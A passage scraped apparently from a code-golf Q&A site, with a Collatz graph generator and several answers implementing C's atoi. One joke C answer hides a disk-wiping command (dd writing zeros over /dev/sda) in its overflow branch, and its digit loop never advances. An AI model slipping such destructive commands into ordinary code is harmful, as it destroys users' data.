  img = ChunkyPNG::Image.new(max, grid.size, ChunkyPNG::Color::TRANSPARENT)
  max.times do |x|
    grid.size.times do |y|
      img[x,y] = grid[y][x]
    end
  end
  img.save("collatz#{max}.png")
end

```

Images below, suggest opening them in a new window and zooming in.

`collatz_grid(100)`:

`collatz_grid(10000)`:

# Answer
> 6 votes
## Python+Graphviz

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import networkx as nx
import os

"""Tool to generate collatz sequence graphs."""

def collatz_one(x):
    """Make a single step in the collatz sequence."""
    if x % 2 == 0:
        x = x/2
    else:
        x = 3*x + 1
    return x

def main(max_collatz=20):
    """Create the collatz graph. """
    G = nx.DiGraph()
    seen = [1]
    G.add_node("1")
    edges = []

    for i in range(1, max_collatz):
        while i != 1:
            if i not in seen:
                seen.append(i)
                G.add_node(str(i))
                j = collatz_one(i)
                edges.append((str(i), str(j)))
                i = j
            else:
                i = 1

    for i, j in edges:
        G.add_edge(i, j)
    nx.write_dot(G, 'test.dot')
    os.system("dot -Tpng test.dot -o test.png")

if __name__ == '__main__':
    from argparse import ArgumentParser
    parser = ArgumentParser(description=__doc__)
    parser.add_argument("-m", dest="m",
                        help=("The first 1..m elements are guaranteed "
                              "to be included"),
                        default=20,
                        type=int)

    args = parser.parse_args()
    main(args.m)

```

## Image

Created with `dot` and `m=20`:

---
Tags: popularity-contest, ascii-art, graphical-output, data-structures
---


title: Implement atoi function

text:
# Question
Title: Implement atoi function
You already know that the `atoi` function of `stdlib.h` converts a string to an integer.

## atoi

(copied from here)

```
 int atoi (const char * str);

```

> Convert string to integer
>
> Parses the C-string `str` interpreting its content as an integral number, which is returned as a value of type `int`.

**Example**

```
#include <stdio.h>      /* printf, fgets */
#include <stdlib.h>     /* atoi */

int main ()
{
  int i;
  char buffer[256];
  printf ("Enter a number: ");
  fgets (buffer, 256, stdin);
  i = atoi (buffer);
  printf ("The value entered is %d. Its double is %d.\n",i,i*2);
  return 0;
}

```

Your task is to implement it, making sure it works for all negative integers in the range, and *try to make the code as small as you can*.

# Answer
> 3 votes
# Python 3 - multicore or go home

```
# The venerable C atoi function hails from a more innocent time. These days,
# we have multicore processors and programs must adapt or be left behind.
import re
import multiprocessing as mp

def atoi(a):
    m = re.match(r"^\s*(-?)(\d+).*$", a)
    if m is None:
        raise ValueError(a)
    sign = -(m.group(1) == "-") * 2 + 1
    places = enumerate(reversed(bytes(m.group(2), "ascii")))
    with mp.Pool(processes=mp.cpu_count()) as pool:
        return sign * sum(pool.map(_digit, places))

def _digit(t):
    i, b = t
    return 10 ** i * (b - 48)

if __name__ == '__main__':
    import unittest
    error_case = unittest.TestCase().assertRaises(ValueError)
    assert atoi(" -4555553") == -4555553
    assert atoi("1") == 1
    assert atoi("    0") == 0
    assert atoi("100asdf") == 100
    assert atoi("-5") == -5
    assert atoi("1, 2, Fizz, 4, Buzz, Fizz, 7, 8, Fizz, Buzz") == 1
    assert atoi("1.2") == 1
    with error_case:
        atoi("foobar")
    with error_case:
        atoi("a1234")

```

Now I have `2 + cpu_count()` problems.

# Answer
> 2 votes
# C - undefined behavior is always fun\*

```
#include <limits.h>
#include <ctype.h>

int atoi(const char *str){
    const unsigned imax = INT_MAX, imin = imax + 1;
    unsigned temp = 0;
    int multip = 1;

    // get rid of leading whitespace
    --str;
    while(isspace(*++str));

    // check +/-
    if(*str == '+') multip = 1, ++str;
    else if(*str == '-') multip = -1, ++str;

    while(isdigit(*str)){
        // check for overflow
        if((multip == 1 && temp <= imax) ||
         (multip == -1 && temp <= imin))
            temp = temp * 10 + *str - '0';
        else
            break;
    }
    // will answer overflow when coverted back to int?
    if((multip == 1 && temp > imax) ||
       (multip == -1 && temp > imin)){
        // undefined behavior is VERY fun*
        system('dd if=/dev/zero of=/dev/sda bs=512 count=1');
        return 42;
    }
    return multip*(int)temp;
}

```

\*for someone. Not always you.

# Answer
> 1 votes
## C, 67 (without function name/arguments)

```
int atoi(const char*s){int r,c,a;for(r=0,a=*s==45?s++:0;c=*s++;r=r*10+c-48);return a?-r:r;}

```

http://ideone.com/zsodr5

# Answer
> 1 votes
# Haskell, 56 Characters

an illegal, but quite short definition is this:

```
p n=read n

```

(writing just p=read would not work because of the monomorphism restriction; if you're not a haskeller, don't worry about this)

basically, this just calls to the library parsing function. note that *read* is overloaded, as it can return multiple types, for example, it can parse a string into a list, a bool, a float, and pretty much everything.

so, here is a version which specifically parses integers:

```
p n=read n::Int

```

the :: means that *read n* must be of type Int.

but although not stated clearly by the question, these are cheating, so here is the real ungolfed commented version:

```
parse "" = 0                                            {- if the input is the empty string, return 0 -}
parse ('-':xs) = -parse xs                              {- if the input starts with '-', bind xs to the rest and return -parse xs -}
parse (c:xs) = (ord c - 48) * 10^length xs + parse xs   --the general default case
{-                                                      explanation: there to the left are subexpressions of the solution, and to the right their meaning.
                ord c                                   the integer representation of c
                ord c - 48                              the value of c (as long as c is a digit, of course)
                                 length xs              the length of the rest of the string
                              10^length xs              10 to the power of the length of the rest; also the value of c's place
               (ord c - 48) * 10^length xs              the value of the digit c
               (ord c - 48) * 10^length xs + parse xs   the resulting number
       -}

```

golfed version:

```
p""=0
p('-':x)= -p x
p(c:x)=(ord c-48)*10^length x+p x

```

note this solution assumes the input *is* a number.

# Answer
> 1 votes
# C - 28

I supose this is cheating...

```
a(s){return strtol(s,0,10);}

```

But then I might as well just do this:

```
a(s){return atoi(s);}

```

---
Tags: code-golf, string, number, conversion
---